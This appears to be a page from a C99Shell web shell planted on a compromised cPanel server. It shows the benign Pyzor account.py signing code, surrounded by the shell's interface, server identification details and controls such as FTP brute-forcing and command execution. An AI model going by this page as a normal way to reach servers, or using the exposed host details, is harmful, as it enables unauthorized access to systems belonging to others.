!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/usr/lib/python2.6/site-packages/pyzor-1.0.0-py2.6.egg/pyzor/   drwxr-xr-x
Free 202.7 GB of 981.82 GB (20.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     account.py (2.49 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"""A collection of utilities that facilitate working with Pyzor accounts.

Note that accounts are not necessary (on the client or server), as an
"anonymous" account always exists."""

import time
import hashlib

import pyzor


def sign_msg(hashed_key, timestamp, msg, hash_=hashlib.sha1):
    """Converts the key, timestamp (epoch seconds), and msg into a digest.

    lower(H(H(M) + ':' T + ':' + K))
    M is message
    T is integer epoch timestamp
    K is hashed_key
    H is the hash function (currently SHA1)
    """
    msg = msg.as_string().strip().encode("utf8")
    digest = hash_()
    digest.update(hash_(msg).digest())
    digest.update((":%d:%s" % (timestamp, hashed_key)).encode("utf8"))
    return digest.hexdigest().lower()


def hash_key(key, user, hash_=hashlib.sha1):
    """Returns the hash key for this username and password.

    lower(H(U + ':' + lower(K)))
    K is key (hex string)
    U is username
    H is the hash function (currently SHA1)
    """
    result = ("%s:%s" % (user, key.lower())).encode("utf8")
    return hash_(result).hexdigest().lower()


def verify_signature(msg, user_key):
    """Verify that the provided message is correctly signed.

    The message must have "User", "Time", and "Sig" headers.

    If the signature is valid, then the function returns normally.
    If the signature is not valid, then a pyzor.SignatureError() exception
    is raised."""
    timestamp = int(msg["Time"])
    user = msg["User"]
    provided_signature = msg["Sig"]
    # Check that this signature is not too old.
    if abs(time.time() - timestamp) > pyzor.MAX_TIMESTAMP_DIFFERENCE:
        raise pyzor.SignatureError("Timestamp not within allowed range.")
    # Calculate what the correct signature is.
    hashed_user_key = hash_key(user_key, user)
    # The signature is not part of the message that is signed.
    del msg["Sig"]
    correct_signature = sign_msg(hashed_user_key, timestamp, msg)
    if correct_signature != provided_signature:
        raise pyzor.SignatureError("Invalid signature.")


class Account(object):
    def __init__(self, username, salt, key):
        self.username = username
        self.salt = salt
        self.key = key


def key_from_hexstr(s):
    try:
        salt, key = s.split(",")
    except ValueError:
        raise ValueError("Invalid number of parts for key; perhaps you "
                         "forgot the comma at the beginning for the "
                         "salt divider?")
    return salt, key

AnonymousAccount = Account(pyzor.anonymous_user, None, "")

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0121 ]--